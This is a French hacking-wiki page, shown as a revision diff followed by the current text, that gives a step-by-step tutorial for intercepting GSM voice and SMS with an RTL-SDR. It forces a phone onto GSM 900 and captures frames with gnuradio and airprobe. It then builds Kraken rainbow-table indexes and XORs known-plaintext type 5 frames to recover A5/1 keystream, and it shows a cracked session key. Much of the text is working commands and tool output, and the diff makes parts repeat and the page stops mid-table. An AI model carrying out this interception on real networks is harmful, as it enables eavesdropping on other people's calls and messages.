« Hacking:GSM hack France » : différence entre les versions

De HackBBS
Aller à la navigation Aller à la recherche
Aucun résumé des modifications
 
(34 versions intermédiaires par 3 utilisateurs non affichées)
Ligne 1 : Ligne 1 :
== Matériel requis ==
== Matériel requis ==
  * RTL-SDR (R820T)
* RTL-SDR (R820T)


Le Rtl-Sdr est un recepteur TNT. Il s'achète pour 20$ en chine. Lorsque l'on exploite le tuneur de ce recepteur, il est possible de capter les fréquences de 24 à 1766 MHz.
Le Rtl-Sdr est un recepteur TNT. Il s'achète pour 20$ en chine. Lorsque l'on exploite le tuneur de ce recepteur, il est possible de capter les fréquences de 24 à 1766 MHz.


== Device proposé pour les tests ==
== Device proposé pour les tests ==
  * Samsung Galaxy S
* Samsung Galaxy S
 
== Logiciels indispensables ==
* [[script de déploiement radio]]


==Les pré-requis==
==Les pré-requis==
===Menu caché du SGS===
===Menu caché du SGS===
  *#*#197328640#*#*
*#*#197328640#*#*
  *#0011#
*#0011#
===Prérequis logiciel===
  Installer boost:
  wget http://netcologne.dl.sourceforge.net/project/boost/boost/1.54.0/boost_1_54_0.tar.bz2
  tar -vxjf boost_1_54_0.tar.bz2; cd boost_1_54_0; BOOST_PREFIX=/opt/boost_1_54_0; ./bootstrap.sh; ./b2 --prefix=$BOOST_PREFIX --with-thread --with-date_time --with-program_options --with-filesystem --with-system --layout=versioned threading=multi variant=release install
  #Compiler gnuradio
  cmake -DBOOST_ROOT=$BOOST_PREFIX -DBoost_INCLUDE_DIR=$BOOST_PREFIX/include/boost-1_54/ -DBoost_LIBRARY_DIRS=$BOOST_PREFIX/lib ../


== Voici les étapes pour intercepter des trames GSM ==
== Voici les étapes pour intercepter des trames GSM ==
Ligne 20 : Ligne 29 :
Le téléphone dispose d'un menu secret permettant de forcer l'utilisation d'une bande:
Le téléphone dispose d'un menu secret permettant de forcer l'utilisation d'une bande:
   *#*#197328640#*#*
   *#*#197328640#*#*
Puis opn accède au menu
Puis on accède au menu
   [1] DEBUG SCREEN -> [8] PHONE CONTROL -> [7] NETWORK CONTROL -> [2] BAND SELECTION -> [3] GSM BAND[*] -> Puis on active [3] GSM 900 [*]
   [1] DEBUG SCREEN -> [8] PHONE CONTROL -> [7] NETWORK CONTROL -> [2] BAND SELECTION -> [3] GSM BAND[*] -> Puis on active [3] GSM 900 [*]
Nous pouvons vérifier que nous utilisons bien cette bande avec le menu secret:
Nous pouvons vérifier que nous utilisons bien cette bande avec le menu secret:
Ligne 28 : Ligne 37 :


Pour découvrir sur quel canal se trouve le téléphone, nous pouvons utiliser un autre menu secret:
Pour découvrir sur quel canal se trouve le téléphone, nous pouvons utiliser un autre menu secret:
   [1] DEBUG SCREEN -> [4] NEIGHBOUR CELL
 
   <strike>[1] DEBUG SCREEN -> [4] NEIGHBOUR CELL
Lors de ce test, le canal ayant le niveau de puissance le plus fort est:
Lors de ce test, le canal ayant le niveau de puissance le plus fort est:
   Arfcn_Num ; 37 , rxlev: 38
   Arfcn_Num ; 37 , rxlev: 38</strike>
 
  [1] DEBUG SCREEN -> [1] BASIC INFORMATION
Le BcchFrq nous donne le numéro du canal Arfcn.
 


Nous pouvons donc calculer la fréquence corespondant à ce canal avec l'outil arfcncalc:
Nous pouvons donc calculer la fréquence corespondant à ce canal avec l'outil arfcncalc:
   arfcncalc -a 37 -b 900 -d
   arfcncalc -a 37 -b 900 -d
La fréquence est donc de 942.4Mhz
La fréquence est donc de 942.4Mhz
Sinon un outil en ligne permet de le calculer: www.cellmapper.net/arfcn?net=GSM&ARFCN=8&MNC=0


Avec gqrx, nous pouvons visualiser le spectre, et se caler sur le signal le plus fort. La fréquence est donc de 942.36Mhz.
Avec gqrx, nous pouvons visualiser le spectre, et se caler sur le signal le plus fort. La fréquence est donc de 942.36Mhz.
Nous pouvons sniffer cette fréquence et générer un fichier cfile avec gnuradio-companion. Voici le schema [[gsm.grc]] utilisé.
 
*Nous pouvons sniffer cette fréquence et générer un fichier cfile avec gnuradio-companion. Voici le schema [[gsm.grc]] utilisé.*


Nous pouvons ensuite visualiser les trames gsm dans wireshark à l'aide de gsm_receiver_rtl.py de la suite airprobe.
Nous pouvons ensuite visualiser les trames gsm dans wireshark à l'aide de gsm_receiver_rtl.py de la suite airprobe.
Ligne 46 : Ligne 63 :
Les trames s'affichent alors dans wireshark.
Les trames s'affichent alors dans wireshark.


== Todo: Dechiffrement avec Kraken ==
== Préparer les tables avec behemoth ==
 
   * S'inspirer de  www.mail-archive.com/a51@lists.reflextor.com/msg01114.html
   * S'inspirer de  www.mail-archive.com/a51@lists.reflextor.com/msg01114.html
   * lists.srlabs.de/pipermail/a51/2010-July/000683.html
   * lists.srlabs.de/pipermail/a51/2010-July/000683.html
Ligne 64 : Ligne 82 :
   echo "Processing $f file...";
   echo "Processing $f file...";
   new=`echo $f| cut -d'_' -f 3`
   new=`echo $f| cut -d'_' -f 3`
   mv $f $new
   ln $f $new
   done
   done


Ligne 70 : Ligne 88 :


   #!/bin/bash
   #!/bin/bash
   control="6d36bca865ad5f5b3b95e50be5555f0a  100.dlt d89f2f62a471734fc86844261e709719 108.dlt 9558f5a7152ab8dddc6e5ff819a3fa5f 164.dlt 307cc99d1724bd1b460d7f39d6121048  172.dlt 9e9861bd2272b58737629b7c34eb1064 212.dlt c6a95cda3e55079295cf97706dc9de2e 238.dlt af8167abdfd178a01b2bb3a2ee4f59c8 268.dlt 2ecc836a993a3f71cd710c4455e9780e 324.dlt 183a3427843105942e9b0ab0a852c7db 348.dlt 1bbceb9afda870b76b7e9928409183de 372.dlt 98de5b58c98fafc5ada3897eddf7f31a 396.dlt 3985446a74105d15f6c4b8bd0467771b 420.dlt a0006b7b58e01b97d6bce1b43b015343 492.dlt fa47f2242230b69c5ae7a1196ea0311f 500.dlt 0c93864ad638b531dedf10d85880ee79 124.dlt f0dbac482c9f6d6626a70bf8115515b4 132.dlt 0cbd427fb98dc9cec05bc8cd9eec53c5  180.dlt 8771eba46785c636e606560265efcb6f 188.dlt 7f4fcaec2da609dd794ecff07f1ad890 196.dlt 032414372c864417a502ef1eaaa42454 220.dlt f54c106d3ea9ef442330c5156c14c832 250.dlt d422218e33cb6c421108469940c03d41 276.dlt 75340dda19dc1b1ada8108d47461562a 332.dlt 771ec801ac043291b9f134f75f82a31d 356.dlt 435e2d2755aa5ce9357889bef5ee534f 380.dlt 5bc5814694b412cfb4ba52198492ba1b 404.dlt 44f06b97410bda5b029754de9cc87db4 428.dlt 9db534d5866cc6c8b18eef0bbf6aceae 116.dlt 15768f7f5af4e5467304c7162688425d 140.dlt 55b1bed783fd94a1feb06e70af5cd789 148.dlt cec43159aa1d7ca4982f1c7417b8dd09 156.dlt 69b40dc68cd9d26006f9b1f70ab676ad 204.dlt 6afc1ca6c0005bf2df6782371c56700d 230.dlt 2cf1377b93139fb2a7ec9f687b272d3c 260.dlt 6995a5445330b78380b3ba16642318e9 292.dlt 1cc82ad35788afc4acab95f481e3de9d 340.dlt 59913ab26509afaecd8861a6877b06c6 364.dlt fabeaa1792045a0ab5471aeac7271481 388.dlt 4518baa2a1156451cbc0952eb216cb5f 412.dlt c3c48ba123a1ebd9ea6f0abaa56ac475 436.dlt"
   control["100"]="6d36bca865ad5f5b3b95e50be5555f0a"; 
  echo "Control: $control"
  control["108"]="d89f2f62a471734fc86844261e709719"; 
  for f in *.dlt; do
  control["116"]="9db534d5866cc6c8b18eef0bbf6aceae"; 
    hash=$hash`md5sum $f`" "
  control["124"]="0c93864ad638b531dedf10d85880ee79"; 
  done
  control["132"]="f0dbac482c9f6d6626a70bf8115515b4"; 
  echo "Hash: $hash"
  control["140"]="15768f7f5af4e5467304c7162688425d"; 
  if [ [ $control != $hash ] ]  
  control["148"]="55b1bed783fd94a1feb06e70af5cd789"; 
  then echo "/!\ Different"
  control["156"]="cec43159aa1d7ca4982f1c7417b8dd09"; 
  fi
  control["164"]="9558f5a7152ab8dddc6e5ff819a3fa5f"; 
  control["172"]="307cc99d1724bd1b460d7f39d6121048"; 
  control["180"]="0cbd427fb98dc9cec05bc8cd9eec53c5"; 
  control["188"]="8771eba46785c636e606560265efcb6f"; 
  control["196"]="7f4fcaec2da609dd794ecff07f1ad890"; 
  control["204"]="69b40dc68cd9d26006f9b1f70ab676ad"; 
  control["212"]="9e9861bd2272b58737629b7c34eb1064";  
  control["220"]="032414372c864417a502ef1eaaa42454"; 
  control["230"]="6afc1ca6c0005bf2df6782371c56700d"; 
  control["238"]="c6a95cda3e55079295cf97706dc9de2e"; 
  control["250"]="f54c106d3ea9ef442330c5156c14c832"; 
  control["260"]="2cf1377b93139fb2a7ec9f687b272d3c"; 
  control["268"]="af8167abdfd178a01b2bb3a2ee4f59c8"; 
  control["276"]="d422218e33cb6c421108469940c03d41"; 
  control["292"]="6995a5445330b78380b3ba16642318e9"; 
  control["324"]="2ecc836a993a3f71cd710c4455e9780e"; 
  control["332"]="75340dda19dc1b1ada8108d47461562a"; 
  control["340"]="1cc82ad35788afc4acab95f481e3de9d"; 
  control["348"]="183a3427843105942e9b0ab0a852c7db"; 
  control["356"]="771ec801ac043291b9f134f75f82a31d"; 
  control["364"]="59913ab26509afaecd8861a6877b06c6"; 
  control["372"]="1bbceb9afda870b76b7e9928409183de"; 
  control["380"]="435e2d2755aa5ce9357889bef5ee534f"; 
  control["388"]="fabeaa1792045a0ab5471aeac7271481"; 
  control["396"]="98de5b58c98fafc5ada3897eddf7f31a"; 
  control["404"]="5bc5814694b412cfb4ba52198492ba1b"; 
  control["412"]="4518baa2a1156451cbc0952eb216cb5f"; 
  control["420"]="3985446a74105d15f6c4b8bd0467771b"; 
  control["428"]="44f06b97410bda5b029754de9cc87db4"; 
  control["436"]="c3c48ba123a1ebd9ea6f0abaa56ac475";
  control["492"]="a0006b7b58e01b97d6bce1b43b015343"; 
  control["500"]="fa47f2242230b69c5ae7a1196ea0311f"
 
  for f in "${!control[@]}"; do
    export hash=`nice -n 0 md5sum $f.dlt`;
    export expected="${control[$f]} $f.dlt";
    echo "Fait: $f.dlt" > md5Done.txt;
    if [[ $expected != $hash ]]
    then echo "/!\ Different Fichier $f hash:$hash control:${control[$f]}"
    #echo "expected:${control[$f]}"
    fi
 
  done &
  # echo "Hash: $hash"
 
Maintenant que les tables sont téléchargé et vérifié, on va pouvoir les écrire sur un disque de 2To.
 
On peut alors lancer Behemoth.py de Kraken. Il va falloir 4To en tout. Les 2To de fichier .dlt et 2To de fichier .idx qui vont être généré avec Behemoth.
On va utiliser un disque vierge de 2To /dev/sde1 qui contiendra nos fichiers dlt.
  mount /dev/sde1 /mnt/dltKraken
On va placer Kraken sur ce disque.
  cd /mnt/dltKraken
  cp -rf /source/kraken /mnt/dltKraken/
Il faut un fichier /mnt/dltKraken/tables.conf pour Behemoth qui va contenir le node de ce disque de destination(2To):
  Device: /dev/sdd1 40
/!\ Le disque de destination va être réécrit en grande partie. Les données seront écrasées.
On doit monter ce disque:
  mount /dev/sdd1 /mnt/dst    /!\ Le disque doit-il vraiment être monté?
On peut ensuite lancer Behemoth en lui indiquant où il va trouver les sources en .dlt
  /mnt/dltKraken/$ sudo ./indexes/Behemoth.py /mnt/dltKraken
Au fichier */mnt/dltKraken/tables.conf* behemoth va inclure les indexes de chaque offset pour chaque table sur le(s) disque(s).
#Devices:  dev/node max_tables
Device: /dev/mapper/Zanorg-root 40
   
#Tables: dev id(advance) offset
  Table: 0 132 10235086
  Table: 0 324 286566544
  Table: 0 172 40969789
  Table: 0 388 235403561
  Table: 0 396 173999725
  Table: 0 404 194467391
  Table: 0 260 143291756
  Table: 0 412 153536985
  Table: 0 364 122825759
  Table: 0 180 296801556
  Table: 0 292 102363709
  Table: 0 220 399139151
  Table: 0 372 112596452
  Table: 0 428 0
  Table: 0 436 71667455
  Table: 0 500 30736294
  Table: 0 188 245637901
  Table: 0 492 327502453
  Table: 0 100 266108608
  Table: 0 164 20505860
  Table: 0 196 255877713
  Table: 0 140 184229975
  Table: 0 204 347961807
  Table: 0 156 61435100
  Table: 0 212 317269082
  Table: 0 420 51203082
  Table: 0 348 163770598
  Table: 0 148 337732312
  Table: 0 356 225171847
  Table: 0 230 358191796
  Table: 0 340 378658386
  Table: 0 380 388890708
  Table: 0 108 133057445
  Table: 0 238 81901548
  Table: 0 116 214939911
  Table: 0 268 92131489
  Table: 0 332 368426161
  Table: 0 276 276337464
  Table: 0 250 204699650
  Table: 0 124 307030440
Behemoth va générer les index de ces tables(extension en .idx) dans le répertoire /mnt/dltKraken/kraken
 
 
== Tester Kraken ==
On va maintenant pouvoir tester si nos tables nous permettent de déchiffrer des trames GSM de test.
Pour cela il faut lancer kraken.
korigan@Zanorg:/mnt/dltKraken/kraken#Kraken/kraken .
Device: /dev/mapper/Zanorg-root 40
/dev/mapper/Zanorg-root
  Allocated 41404056 bytes: ./132.idx
  Allocated 41259888 bytes: ./324.idx
  Allocated 41252956 bytes: ./172.idx
  Allocated 41257176 bytes: ./388.idx
  Allocated 41240688 bytes: ./396.idx
  Allocated 41248788 bytes: ./404.idx
  Allocated 41301076 bytes: ./260.idx
  Allocated 41254252 bytes: ./412.idx
  Allocated 41246480 bytes: ./364.idx
  Allocated 41235184 bytes: ./180.idx
  Allocated 41250740 bytes: ./292.idx
  Allocated 41230652 bytes: ./220.idx
  Allocated 41236892 bytes: ./372.idx
  Allocated 41260184 bytes: ./428.idx
  Allocated 41256180 bytes: ./436.idx
  Allocated 41253772 bytes: ./500.idx
  Allocated 41279240 bytes: ./188.idx
  Allocated 41239116 bytes: ./492.idx
  Allocated 41235072 bytes: ./100.idx
  Allocated 41241432 bytes: ./164.idx
  Allocated 41243292 bytes: ./196.idx
  Allocated 41269576 bytes: ./140.idx
  Allocated 41239636 bytes: ./204.idx
  Allocated 41249180 bytes: ./156.idx
Allocated 41253276 bytes: ./212.idx
Allocated 41247816 bytes: ./420.idx
Allocated 41236164 bytes: ./348.idx
Allocated 41237644 bytes: ./148.idx
  Allocated 41246592 bytes: ./356.idx
  Allocated 41257276 bytes: ./230.idx
Allocated 41249048 bytes: ./340.idx
Allocated 41314028 bytes: ./380.idx
Allocated 41257060 bytes: ./108.idx
Allocated 41239444 bytes: ./238.idx
  Allocated 41247488 bytes: ./116.idx
  Allocated 41248632 bytes: ./268.idx
  Allocated 41248652 bytes: ./332.idx
  Allocated 41235976 bytes: ./276.idx
  Allocated 41281052 bytes: ./250.idx
  Allocated 41274520 bytes: ./124.idx
  Tables: 132,324,172,388,396,404,260,412,364,180,292,220,372,428,436,500,188,492,100,164,196,140,204,156,212,420,348,148,356,230,340,380,108,238,116,268,332,276,250,124
Error when opening A5Cpu.so: ./A5Cpu.so: cannot open shared object file: No such file or directory
Commands are: crack test quit
Kraken>test
Cracking 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011
...
 
Maintenant nous pouvons cracker les trames.
 
== Trouver la clef Kc ==
L'attaque sur l'A5/1 repose principalement sur le faite que les trames "Système information, type 5" sont répété à intervale régulier. Avant la commande de chiffrement, ces trames sont envoyé en clair. Nous pouvons cependant réaliser une attaque basé sur la connaissance du texte en clair sur le flux chiffré.
 
== Sniffer les trames de type 5 ==
 
Maintenant que tout est prèt, nous pouvons tenter différentes aproches.
===Manuel===
Nous allons:
* utiliser gnuradio-companion et le schema [[gsm.grc]] pour sniffer les trames.
* Ouvrir wireshark et écouter sur lo
* Exécuter gsm_receive_rtl.py pour traiter les frames qui vont alors s'afficher dans wireshark
* (optionnel) Utiliser wireshark pour visualiser une frame qui match GSM TAP Header, *identifier* le numéro de frame (GSM TAP Header -> GSM Frame Number)
* Utiliser tcpdump pour filtrer les trames de type 5. Il nous en faut au moins deux (dont une en clair??)
* Analyser le résultat de [[gsm_receive_rtl.py]] et récuupérer le block de la trame *identifiée*.
Example:
C1 862242 1332356: 0010000000011100001000000011001000110000011000001100...
P1 862242 1332356: 0010000000011100001000000011001000110000011000001100...
S1 862242 1332356: 0000000000000000000000000000000000000000000000000000...
C0 862243 1332389: 0000000001010010001000000000001010000000011010110100...
P0 862243 1332389: 0000000001010010001000000000001010000000011010110100...
S0 862243 1332389: 0000000000000000000000000000000000000000000000000000...
C0 862244 1332422: 1000000101001010000000011110000000000101000001000100...
P0 862244 1332422: 1000000101001010000000011110000000000101000001000100...
S0 862244 1332422: 0000000000000000000000000000000000000000000000000000...
C0 862245 1332455: 1100000001001001000001010000110101010010000001000001...
P0 862245 1332455: 1100000001001001000001010000110101010010000001000001...
S0 862245 1332455: 0000000000000000000000000000000000000000000000000000...
862245 1: 00 01 03 03 49 06 1d 9f 6d 18 10 80 00 00 00 00 00 00 00 00 0...
Les lignes commençant par *C*
C
sont les trames chiffré,
P
sont les trames en clair
S
est le keystream.
Le texte chiffré est obtenu en faisant un XOR entre le texte clair et le keystream.
Comme la clef n'a pas été envoyée, le texte en clair est egal au texte chiffré.
 
====How-to en quelques étapes====
 
Maintenant on va pouvoir procéder à l'extraction de la clef. L'attaque se base sur 2 trames de type 5:
* On va intercepter une trame A
* Repérer l'offset en seconde d'une trame B et calculer la difference avec l'offset en seconde de la trame A
* On a donc la différence de temps entre les deux trames, et on connait donc le contenu de B puisque la seule chose qui change c'est le timestamp dans le paquet.
* Pour comparer les deux paquet, il faut qu'il soit identique. On va donc injecter le timestamp du paquet A dans le paquet B avec gsmframedecoder.
wget http://132.230.132.75/download/misc/gsmframecoder.tar.gz
tar -zxvf gsmframecoder.tar.gz cd gsmframecoder/
En entrée on lui fournit la représentation hexadécimale de la frame A avec le timestamp corrigé.
./gsmframecoder 00 00 03 03 49 06 1d 9f 6d 18 10 80 00 00 00 00 00 00 00 00 00 00 00
En sortie on récupère 4 burst.
Decoding 0000030349061d9f6d1810800000000000000000000000
Encoded Frame, Burst1:
00100000000101000010000000110010001000001100000010000000011010100000000...
Encoded Frame, Burst2:
00000000011110100011000010000010110000001110101000000000001001010100000...
Encoded Frame, Burst3:
10010001010010100000000101100001000001010000000101000000000100000011000...
Encoded Frame, Burst4:
11000000110010010000010100001001010100000000000000010000000101010000101...
 
Maintenant on va pouvoir comparer la trame en clair (A) et la trame chiffré (B) pour calculer le flux de chiffrement. Il suffit de faire un XOR entre les deux pour récupérer le flux de chiffrement.
* C1 avec burst1
* 1st C0 avec burst 2
* 2nd C0 avec burst 3
* 4th C0 with burst 4
Cela peut être fait avec xor.py dans le réprtoire d'outils de kraken.
 
./Utilities/xor.py 001000000001010000100000001100100010000011000000100000000110101000000000001011010001000000110100001000101001000110 0100101000101 11111011010010010111000000101010000100100111111001010100111110000101001110
000101110100011111000010001 011010100011101111111010011110011010000110010000000100111001100010100111111011111000110000011010101011010001010111
./Utilities/xor.py 0000000001111010001100001000001011000000111010100000...
./Utilities/xor.py 1001000101001010000000010110000100000101000000010100...
./Utilities/xor.py 1100000011001001000001010000100101010000000000000001...
 
Maintenant on va pouvoir cracker ces keystream avec kraken.


On peut alors lancer Behemoth.py de Kraken:
== Crack avec Kraken ==
korigan@Zanorg:/mnt/part5/hack/phreaking/kraken/indexes$ ./Behemoth.py /mnt/part4
Maintenant on peut utiliser la commande "crack" de kraken sur les différents keystream. En cas d'echec, essayer le suivant:
Kraken> crack 101111111110010000001001001111100100001110100011010110111000
011110110011001101000000011000110010110100000100011000
Cracking 10111111111001000000100100111110010000111010001101011011100001...
Found d5eb21665d2b8f25 @ 13 #2 (table:172)
crack #2 took 197996 msec
Cela signifie que la clef "d5eb21665d2b8f25" à généré la bonne sortie à la sortie "13" après 100 rotations.


Voici un exemple de fichier généré lorsque l'on n'utilise qu'un seul disque:
[[Category:Hacking]][[Category:Radio]]
  Device: /media/84835dba-c5489-4af1-a5421 50
  Table: 0 100 61391195
  Table: 0 324 102313103
  Table: 0 372 92083796
  Table: 0 420 51159177
  Table: 0 172 10229859
  Table: 0 500 71620051
  Table: 0 238 122782426
  Table: 0 108 112548115
  Table: 0 276 143241494
  Table: 0 212 40925806
  Table: 0 268 20463152
  Table: 0 164 30695372
  Table: 0 396 81853546
  Table: 0 348 133012367
  Table: 0 492 153470574
  Table: 0 132 92105823
  Table: 0 412 122856754
  Table: 0 388 143324460
  Table: 0 356 102376597
  Table: 0 404 71633752
  Table: 0 428 10230895
  Table: 0 124 61395110
  Table: 0 188 81866011
  Table: 0 436 133090367
  Table: 0 196 153558800
  Table: 0 332 40922624
  Table: 0 180 20465981
  Table: 0 250 51154849
  Table: 0 220 30694865
  Table: 0 380 112608311
  Table: 0 116 30717010
  Table: 0 292 92104793
  Table: 0 230 102337536
  Table: 0 260 10234365
  Table: 0 204 40948946
  Table: 0 140 20479594
  Table: 0 340 81872471
  Table: 0 148 51178935
  Table: 0 156 71640116
  Table: 0 364 61408430

Dernière version du 9 janvier 2024 à 02:03

Matériel requis

  • RTL-SDR (R820T)

Le Rtl-Sdr est un recepteur TNT. Il s'achète pour 20$ en chine. Lorsque l'on exploite le tuneur de ce recepteur, il est possible de capter les fréquences de 24 à 1766 MHz.

Device proposé pour les tests

  • Samsung Galaxy S

Logiciels indispensables

Les pré-requis

Menu caché du SGS

*#*#197328640#*#*
*#0011#

Prérequis logiciel

 Installer boost: 
 wget http://netcologne.dl.sourceforge.net/project/boost/boost/1.54.0/boost_1_54_0.tar.bz2
 tar -vxjf boost_1_54_0.tar.bz2; cd boost_1_54_0; BOOST_PREFIX=/opt/boost_1_54_0; ./bootstrap.sh; ./b2 --prefix=$BOOST_PREFIX --with-thread --with-date_time --with-program_options --with-filesystem --with-system --layout=versioned threading=multi variant=release install
 #Compiler gnuradio
 cmake -DBOOST_ROOT=$BOOST_PREFIX -DBoost_INCLUDE_DIR=$BOOST_PREFIX/include/boost-1_54/ -DBoost_LIBRARY_DIRS=$BOOST_PREFIX/lib ../

Voici les étapes pour intercepter des trames GSM

Dans le cadre de nos tests nous allons intercepter la voix et les sms d'un Samsung Galaxy S 1.

Afin de nous caler sur une fréquence qui peut etre capté par le rtl-sdr nous allons forcer le GSM à utiliser la bande 900. Le GSM 900 utilise la bande 880-915 MHz pour l'envoi de la voix ou des données depuis le mobile et la bande 925-960 MHz pour la réception des informations venant du réseau.

Le téléphone dispose d'un menu secret permettant de forcer l'utilisation d'une bande:

 *#*#197328640#*#*

Puis on accède au menu

 [1] DEBUG SCREEN -> [8] PHONE CONTROL -> [7] NETWORK CONTROL -> [2] BAND SELECTION -> [3] GSM BAND[*] -> Puis on active [3] GSM 900 [*]

Nous pouvons vérifier que nous utilisons bien cette bande avec le menu secret:

 *#0011#

Ok, maintenant le téléphone est sur la bande GSM900. Nous devons maintenant sniffer sur un canal particulier, c'est l'arfcn. En effet, une bande est découpé en canaux. Chacune de ces bandes comprend 175 porteuses (canaux) de 200 kHz chacune ; elles sont, en France réparties entre 4 opérateurs (voir fréquences GSM en France). La modulation utilisée sur ces porteuses est la GMSK, qui permet d'éviter les chevauchements de porteuses.

Pour découvrir sur quel canal se trouve le téléphone, nous pouvons utiliser un autre menu secret:

 [1] DEBUG SCREEN -> [4] NEIGHBOUR CELL

Lors de ce test, le canal ayant le niveau de puissance le plus fort est:

 Arfcn_Num ; 37 , rxlev: 38
 [1] DEBUG SCREEN -> [1] BASIC INFORMATION

Le BcchFrq nous donne le numéro du canal Arfcn.


Nous pouvons donc calculer la fréquence corespondant à ce canal avec l'outil arfcncalc:

 arfcncalc -a 37 -b 900 -d

La fréquence est donc de 942.4Mhz

Sinon un outil en ligne permet de le calculer: www.cellmapper.net/arfcn?net=GSM&ARFCN=8&MNC=0

Avec gqrx, nous pouvons visualiser le spectre, et se caler sur le signal le plus fort. La fréquence est donc de 942.36Mhz.

  • Nous pouvons sniffer cette fréquence et générer un fichier cfile avec gnuradio-companion. Voici le schema gsm.grc utilisé.*

Nous pouvons ensuite visualiser les trames gsm dans wireshark à l'aide de gsm_receiver_rtl.py de la suite airprobe. Dans un premier temps, lancer la version patché de wireshark qui permet de filtrer les trames gsmtap et écouter sur l'interface lo. Ensuite analyser le dump.cfile avec gsm_receive_rtl.py

 /hack/phreaking/Radio/airprobe/gsm-receiver/src/python$ ./gsm_receive_rtl.py -I /tmp/dump.cfile  -d 1 B0

Les trames s'affichent alors dans wireshark.

Préparer les tables avec behemoth

 * S'inspirer de  www.mail-archive.com/a51@lists.reflextor.com/msg01114.html
 * lists.srlabs.de/pipermail/a51/2010-July/000683.html
 * Renommer tous les dlt en xxx.dlt (ex: 100.dlt)
 * Les placer à la racine d'un disque
 * Se servir de Behemoth.py

Behemoth va créer un indexe de ces rainbowtable(table d'échange, ou table arc-en-ciel). Il va alors générer un fichier tables.conf contenant les disques utilisées, et les offset sur le disque du début de chaque table.

Une table est l'ensemble de tout les hash possible pour un charset donné. Un charset est constitué d'un ensemble de caractère comme [ az-AZ ]. C'est une sorte de dictionnaire.

Behemoth.py va chercher des fichier du type [09]+.dlt Il faut donc placer les 40 tables et les renommer.

 #!/bin/bash
 for f in *.dlt; do
  echo "Processing $f file...";
  new=`echo $f| cut -d'_' -f 3`
  ln $f $new
 done

Voici un script pour controler que les tables de hash sont parfaites.

 #!/bin/bash
 control["100"]="6d36bca865ad5f5b3b95e50be5555f0a";   
 control["108"]="d89f2f62a471734fc86844261e709719";   
 control["116"]="9db534d5866cc6c8b18eef0bbf6aceae";   
 control["124"]="0c93864ad638b531dedf10d85880ee79";   
 control["132"]="f0dbac482c9f6d6626a70bf8115515b4";   
 control["140"]="15768f7f5af4e5467304c7162688425d";   
 control["148"]="55b1bed783fd94a1feb06e70af5cd789";   
 control["156"]="cec43159aa1d7ca4982f1c7417b8dd09";   
 control["164"]="9558f5a7152ab8dddc6e5ff819a3fa5f";   
 control["172"]="307cc99d1724bd1b460d7f39d6121048";   
 control["180"]="0cbd427fb98dc9cec05bc8cd9eec53c5";   
 control["188"]="8771eba46785c636e606560265efcb6f";   
 control["196"]="7f4fcaec2da609dd794ecff07f1ad890";   
 control["204"]="69b40dc68cd9d26006f9b1f70ab676ad";   
 control["212"]="9e9861bd2272b58737629b7c34eb1064";  
 control["220"]="032414372c864417a502ef1eaaa42454";   
 control["230"]="6afc1ca6c0005bf2df6782371c56700d";   
 control["238"]="c6a95cda3e55079295cf97706dc9de2e";   
 control["250"]="f54c106d3ea9ef442330c5156c14c832";   
 control["260"]="2cf1377b93139fb2a7ec9f687b272d3c";   
 control["268"]="af8167abdfd178a01b2bb3a2ee4f59c8";   
 control["276"]="d422218e33cb6c421108469940c03d41";   
 control["292"]="6995a5445330b78380b3ba16642318e9";   
 control["324"]="2ecc836a993a3f71cd710c4455e9780e";   
 control["332"]="75340dda19dc1b1ada8108d47461562a";  
 control["340"]="1cc82ad35788afc4acab95f481e3de9d";   
 control["348"]="183a3427843105942e9b0ab0a852c7db";   
 control["356"]="771ec801ac043291b9f134f75f82a31d";   
 control["364"]="59913ab26509afaecd8861a6877b06c6";   
 control["372"]="1bbceb9afda870b76b7e9928409183de";   
 control["380"]="435e2d2755aa5ce9357889bef5ee534f";   
 control["388"]="fabeaa1792045a0ab5471aeac7271481";   
 control["396"]="98de5b58c98fafc5ada3897eddf7f31a";   
 control["404"]="5bc5814694b412cfb4ba52198492ba1b";   
 control["412"]="4518baa2a1156451cbc0952eb216cb5f";   
 control["420"]="3985446a74105d15f6c4b8bd0467771b";   
 control["428"]="44f06b97410bda5b029754de9cc87db4";   
 control["436"]="c3c48ba123a1ebd9ea6f0abaa56ac475"; 
 control["492"]="a0006b7b58e01b97d6bce1b43b015343";  
 control["500"]="fa47f2242230b69c5ae7a1196ea0311f"
 
 for f in "${!control[@]}"; do
   export hash=`nice -n 0 md5sum $f.dlt`;
   export expected="${control[$f]}  $f.dlt";
   echo "Fait:  $f.dlt" > md5Done.txt;
   if $expected != $hash  
    then echo "/!\ Different Fichier $f hash:$hash control:${control[$f]}"
    #echo "expected:${control[$f]}"
   fi
 
 done &
 # echo "Hash: $hash"

Maintenant que les tables sont téléchargé et vérifié, on va pouvoir les écrire sur un disque de 2To.

On peut alors lancer Behemoth.py de Kraken. Il va falloir 4To en tout. Les 2To de fichier .dlt et 2To de fichier .idx qui vont être généré avec Behemoth. On va utiliser un disque vierge de 2To /dev/sde1 qui contiendra nos fichiers dlt.

 mount /dev/sde1 /mnt/dltKraken	
	

On va placer Kraken sur ce disque.

 cd /mnt/dltKraken	
 cp -rf /source/kraken /mnt/dltKraken/	
	

Il faut un fichier /mnt/dltKraken/tables.conf pour Behemoth qui va contenir le node de ce disque de destination(2To):

 Device: /dev/sdd1 40	

/!\ Le disque de destination va être réécrit en grande partie. Les données seront écrasées.

On doit monter ce disque:

 mount /dev/sdd1 /mnt/dst    /!\ Le disque doit-il vraiment être monté?	
	

On peut ensuite lancer Behemoth en lui indiquant où il va trouver les sources en .dlt

 /mnt/dltKraken/$ sudo ./indexes/Behemoth.py /mnt/dltKraken	
	

Au fichier */mnt/dltKraken/tables.conf* behemoth va inclure les indexes de chaque offset pour chaque table sur le(s) disque(s).

  1. Devices: dev/node max_tables

Device: /dev/mapper/Zanorg-root 40

  1. Tables: dev id(advance) offset
 Table: 0 132 10235086
 Table: 0 324 286566544
 Table: 0 172 40969789
 Table: 0 388 235403561
 Table: 0 396 173999725
 Table: 0 404 194467391
 Table: 0 260 143291756
 Table: 0 412 153536985
 Table: 0 364 122825759
 Table: 0 180 296801556
 Table: 0 292 102363709
 Table: 0 220 399139151
 Table: 0 372 112596452
 Table: 0 428 0
 Table: 0 436 71667455
 Table: 0 500 30736294
 Table: 0 188 245637901
 Table: 0 492 327502453
 Table: 0 100 266108608	
 Table: 0 164 20505860
 Table: 0 196 255877713	
 Table: 0 140 184229975	
 Table: 0 204 347961807	
 Table: 0 156 61435100	
 Table: 0 212 317269082	
 Table: 0 420 51203082	
 Table: 0 348 163770598	
 Table: 0 148 337732312	
